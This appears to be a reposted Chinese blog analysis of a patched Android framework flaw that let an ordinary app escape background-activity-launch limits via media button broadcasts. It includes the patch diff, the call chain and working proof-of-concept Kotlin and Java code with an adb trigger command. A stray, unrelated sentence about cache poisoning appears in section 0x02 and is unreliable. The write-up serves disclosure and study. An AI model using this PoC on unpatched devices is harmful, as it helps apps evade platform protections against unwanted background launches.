文章总结: 这篇文章分析了Android12月安全公告中的一个权限绕过漏洞,该漏洞允许普通应用绕过BAL(BackgroundActivityLaunches)限制。漏洞存在于MediaButtonReceiverHolder.send()方法中,通过BroadcastOptions附带了setTemporaryAppAllowlist和setBackgroundActivityStartsAllowed(true),导致普通app在后台时具备打开activity或service的能力。攻击者可以通过让一个app成为媒体按钮接收者,然后由另一个app触发媒体按键事件,从而让媒体按钮接收者app获得后台启动能力。文章提供了详细的攻击链路分析和POC代码,展示了如何利用该漏洞。 综合评分: 92 文章分类: 漏洞分析,移动安全,漏洞POC,漏洞预警,应用安全
android 12月公开漏洞分析:普通app绕过BAL限制(附poc)
原创
做安全的小明同学
大山子雪人
2025年12月13日 12:49 北京
android 12月公开漏洞分析:普通app绕过BAL限制(附poc)
0x00 patch信息
在android的12月份安全公告中,framework层涉及若干权限绕过漏洞。具体漏洞和patch列表可查看这个月的安全公告
https://source.android.com/docs/security/bulletin/2025-12-01
在这些漏洞中,有一个和BAL相关的漏洞。废话不多说,直接看patch代码
https://android.googlesource.com/platform/frameworks/base/+/e707f6600330691f9c67dc023c09f4cd2fc59192
diff --git a/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java b/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
index 72ce38b..e7e70fc 100644
--- a/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
+++ b/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
@@ -173,35 +173,58 @@
/**
* Sends the media key event to the media button receiver.
- * <p>
- * This prioritizes using use pending intent for sending media key event.
+ *
+ * <p>This prioritizes using use pending intent for sending media key event.
*
* @param context context to be used to call PendingIntent#send
* @param keyEvent keyEvent to send
- * @param resultCode result code to be used to call PendingIntent#send
- * Ignored if there's no valid pending intent.
- * @param onFinishedListener callback to be used to get result of PendingIntent#send.
- * Ignored if there's no valid pending intent.
- * @param handler handler to be used to call onFinishedListener
- * Ignored if there's no valid pending intent.
- * @param fgsAllowlistDurationMs duration for which the media button receiver will be
- * allowed to start FGS from BG.
+ * @param resultCode result code to be used to call PendingIntent#send. Ignored if there's no
+ * valid pending intent.
+ * @param mediaSessionService {@link MediaSessionService} triggering the event
+ * @param callingPackageName package name of the caller
+ * @param callingPid PID of the caller
+ * @param callingUid UID of the caller
+ * @param reportedPackageName package name that is reported to the receiver using {@link
+ * Intent#EXTRA_PACKAGE_NAME}
+ * @param onFinishedListener callback to be used to get result of PendingIntent#send. Ignored if
+ * there's no valid pending intent.
+ * @param handler handler to be used to call onFinishedListener. Ignored if there's no valid
+ * pending intent.
* @see PendingIntent#send(Context, int, Intent, PendingIntent.OnFinished, Handler)
*/
- publicbooleansend(Context context, KeyEvent keyEvent, String callingPackageName,
- int resultCode, PendingIntent.OnFinished onFinishedListener, Handler handler,
- long fgsAllowlistDurationMs) {
+ publicbooleansend(
+ Context context,
+ KeyEvent keyEvent,
+ MediaSessionService mediaSessionService,
+ String callingPackageName,
+ int callingPid,
+ int callingUid,
+ String reportedPackageName,
+ int resultCode,
+ PendingIntent.OnFinished onFinishedListener,
+ Handler handler) {
IntentmediaButtonIntent=newIntent(Intent.ACTION_MEDIA_BUTTON);
mediaButtonIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
mediaButtonIntent.putExtra(Intent.EXTRA_KEY_EVENT, keyEvent);
// TODO: Find a way to also send PID/UID in secure way.
- mediaButtonIntent.putExtra(Intent.EXTRA_PACKAGE_NAME, callingPackageName);
+ mediaButtonIntent.putExtra(Intent.EXTRA_PACKAGE_NAME, reportedPackageName);
- finalBroadcastOptionsoptions= BroadcastOptions.makeBasic();
- options.setTemporaryAppAllowlist(fgsAllowlistDurationMs,
- PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
- PowerWhitelistManager.REASON_MEDIA_BUTTON, "");
- options.setBackgroundActivityStartsAllowed(true);
+ PackageManagerpackageManager= context.getPackageManager();
+ try {
+ inttargetUid= packageManager.getPackageUidAsUser(mPackageName, mUserId);
+ mediaSessionService.tempAllowlistTargetPkgIfPossible(
+ targetUid,
+ /* targetPackage= */ mPackageName,
+ callingPid,
+ callingUid,
+ callingPackageName,
+ /* reason= */ TAG);
+ } catch (PackageManager.NameNotFoundException e) {
+ // Package name doesn't exist.
+ if (DEBUG_KEY_EVENT) {
+ Log.d(TAG, "Can't allowlist, package " + mPackageName + "doesn't exist");
+ }
+ }
if (mPendingIntent != null) {
if (DEBUG_KEY_EVENT) {
Log.d(TAG, "Sending " + keyEvent + " to the last known PendingIntent "
@@ -209,8 +232,7 @@
}
try {
mPendingIntent.send(
- context, resultCode, mediaButtonIntent, onFinishedListener, handler,
- /* requiredPermission= */null, options.toBundle());
+ context, resultCode, mediaButtonIntent, onFinishedListener, handler);
} catch (PendingIntent.CanceledException e) {
Log.w(TAG, "Error sending key event to media button receiver " + mPendingIntent, e);
returnfalse;
@@ -233,8 +255,7 @@
break;
default:
// Legacy behavior for other cases.
- context.sendBroadcastAsUser(mediaButtonIntent, userHandle,
- /* receiverPermission= */null, options.toBundle());
+ context.sendBroadcastAsUser(mediaButtonIntent, userHandle);
}
} catch (Exception e) {
Log.w(TAG, "Error sending media button to the restored intent "
diff --git a/services/core/java/com/android/server/media/MediaSessionService.java b/services/core/java/com/android/server/media/MediaSessionService.java
index 5d571de..63d6d80 100644
--- a/services/core/java/com/android/server/media/MediaSessionService.java
+++ b/services/core/java/com/android/server/media/MediaSessionService.java
@@ -2677,13 +2677,20 @@
if (needWakeLock) {
mKeyEventReceiver.acquireWakeLockLocked();
}
- StringcallingPackageName=
+ StringreportedPackageName=
(asSystemService) ? mContext.getPackageName() : packageName;
- booleansent= mediaButtonReceiverHolder.send(
- mContext, keyEvent, callingPackageName,
- needWakeLock ? mKeyEventReceiver.mLastTimeoutId : -1, mKeyEventReceiver,
- mHandler,
- MediaSessionDeviceConfig.getMediaButtonReceiverFgsAllowlistDurationMs());
+ booleansent=
+ mediaButtonReceiverHolder.send(
+ mContext,
+ keyEvent,
+ MediaSessionService.this,
+ packageName,
+ pid,
+ uid,
+ reportedPackageName,
+ needWakeLock ? mKeyEventReceiver.mLastTimeoutId : -1,
+ mKeyEventReceiver,
+ mHandler);
if (sent) {
StringpkgName= mediaButtonReceiverHolder.getPackageName();
for (FullUserRecord.OnMediaKeyEventDispatchedListenerRecord cr
对这个patch的commit是这么描述的:
Add WIU/BFSL allowlisting to MediaButtonReceiverHolder.send
This will replace the existing capability propagation via
BroadcastOptions. Specifically, it avoids accidentally propagating
BAL abilities to the receiver.
0x01 漏洞分析
在 MediaButtonReceiverHolder.send()的补丁前实现中:
Android 使用 BroadcastOptions 附带:
- • setTemporaryAppAllowlist(…)
- • setBackgroundActivityStartsAllowed(true)
final BroadcastOptions options = BroadcastOptions.makeBasic();
options.setTemporaryAppAllowlist(fgsAllowlistDurationMs, PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
PowerWhitelistManager.REASON_MEDIA_BUTTON, "");
options.setBackgroundActivityStartsAllowed(true);
意味着:
当媒体按键事件通过 PendingIntent广播转发给 target app 时,会把 BAL + FGS 能力 附着在 Intent 上 发送给该 app。造成普通app在后台时具备打开activity或者打开service的能力。
补丁前实现:
options.setTemporaryAppAllowlist(...);
options.setBackgroundActivityStartsAllowed(true);
mPendingIntent.send(..., options.toBundle());
// 或
context.sendBroadcastAsUser(..., options.toBundle());
因此: 任何能够触发
MediaSessionService.dispatchMediaKeyEvent(…) 的组件 可以造成: 把自己的后台启动能力借给另一个 App
接下来就需要看如何触发
MediaSessionService.dispatchMediaKeyEvent
0x02 攻击面与利用条件
-
• 参与角色
| 角色 | 描述 | | — | — | | A:发起者 App / 系统组件 | 能够调用
dispatchMediaKeyEvent()或触发媒体键事件 | | B:媒体按钮接收者 App | 当前系统注册的mLastMediaButtonReceiverHolder| -
• 利用条件
满足以下条件即可触发漏洞:
- 1. B 成为当前媒体按钮接收者
- 2. A 能触发媒体按键事件
- 3. B 在后台
- 4. B 在接收到媒体按键广播后尝试启动 Activity
补丁前:
B 会获得 BroadcastOptions 中的 BAL/FGS 白名单,因此后台启动将被允许。
补丁后(WIU/BFSL):
广播不再携带能力,exploit 失效。 缓存投毒 = 攻击者制造“形式上合法、语义上恶意”的响应,并使其被存入缓存。 之后所有命中缓存的用户均接收该恶意结果。
0x03 触发链路分析
补丁前系统调用链如下:
A -> MediaSessionManager.dispatchMediaKeyEvent()
-> MediaSessionService.SessionManagerImpl
-> MediaSessionService.dispatchMediaKeyEvent()
-> mMediaKeyEventHandler.handleMediaKeyEventLocked()
-> dispatchMediaKeyEventLocked()
-> 找不到有效 MediaSession -> fallback 到 mLastMediaButtonReceiverHolder(B)
-> MediaButtonReceiverHolder.send()
-> PendingIntent.send(..., BroadcastOptions)
-> backgroundActivityStartsAllowed = true
-> temporary FGS allowlist = granted
-> B 获得 BAL / FGS 特权
-> B 后台启动 Activity / FGS 成功
0x04 POC
首先让 B 成为系统的 media button receiver
package com.example.cvepoc
import android.app.PendingIntent
import android.app.Service
import android.content.Intent
import android.media.session.MediaSession
import android.media.session.PlaybackState
import android.os.IBinder
classPlaybackService : Service() {
private lateinit var mediaSession: MediaSession
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
mediaSession = MediaSession(this, "BAppMediaSession").apply {
// 设置回调(可选,但正常媒体 app 应该处理媒体事件)
setCallback(object : MediaSession.Callback() {
override fun onMediaButtonEvent(mediaButtonIntent: Intent): Boolean {
// 可以在这里解析 KeyEvent,自行处理
returnsuper.onMediaButtonEvent(mediaButtonIntent)
}
})
// 一般会设置一些 flags(是否处理媒体按钮、音量键等)
setFlags(
MediaSession.FLAG_HANDLES_MEDIA_BUTTONS or
MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS
)
}
// 2. 构造一个指向本应用 MediaButtonReceiver 的 Intent
valmediaButtonIntent= Intent(Intent.ACTION_MEDIA_BUTTON).apply {
setClass(this@PlaybackService, MediaButtonReceiver::class.java)
}
// 3. 构造 PendingIntent
valpendingIntent= PendingIntent.getBroadcast(
this,
0,
mediaButtonIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
// 4. 注册到 MediaSession 作为 media button receiver(API 26 起标为 deprecated,但仍然有效)
mediaSession.setMediaButtonReceiver(pendingIntent)
// 5. 设置播放状态 & 激活 MediaSession(非常关键,否则系统不会优先选你)
mediaSession.setPlaybackState(
PlaybackState.Builder()
.setActions(
PlaybackState.ACTION_PLAY or
PlaybackState.ACTION_PAUSE or
PlaybackState.ACTION_PLAY_PAUSE or
PlaybackState.ACTION_STOP
)
.setState(PlaybackState.STATE_PLAYING, 0L, 1.0f) // 或 STATE_PAUSED 等
.build()
)
mediaSession.isActive = true // 核心:把这个 session 标记为 active
returnsuper.onStartCommand(intent, flags, startId)
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onDestroy() {
super.onDestroy()
mediaSession.isActive = false
mediaSession.release()
}
}
package com.example.cvepoc;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.view.KeyEvent;
publicclassMediaButtonReceiverextendsBroadcastReceiver {
@Override
publicvoidonReceive(Context context, Intent intent) {
if (Intent.ACTION_MEDIA_BUTTON.equals(intent.getAction())) {
KeyEventevent= (KeyEvent) intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
if (event != null && event.getAction() == KeyEvent.ACTION_DOWN) {
IntentactivityIntent=newIntent(context, AudioActivity.class);
activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(activityIntent);
}
}
}
}
接下来让AdispatchMediaKeyEvent。这个 API 基本是给系统/特权应用用的。
A通常需要满足:
- • A 是 system/priv-app,或者
- • A 拥有类似
android.permission.MEDIA_CONTENT_CONTROL这类媒体控制高权限
虽然需要系统应用才能触发,但是触发条件很容易满足。比如耳机连接手机,并通过耳机控制媒体的播放。
为了演示需要,我们通过input keyevent KEYCODE_MEDIA_PLAY触发button event
查看原文:《android 12月公开漏洞分析:普通app绕过BAL限制(附poc)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论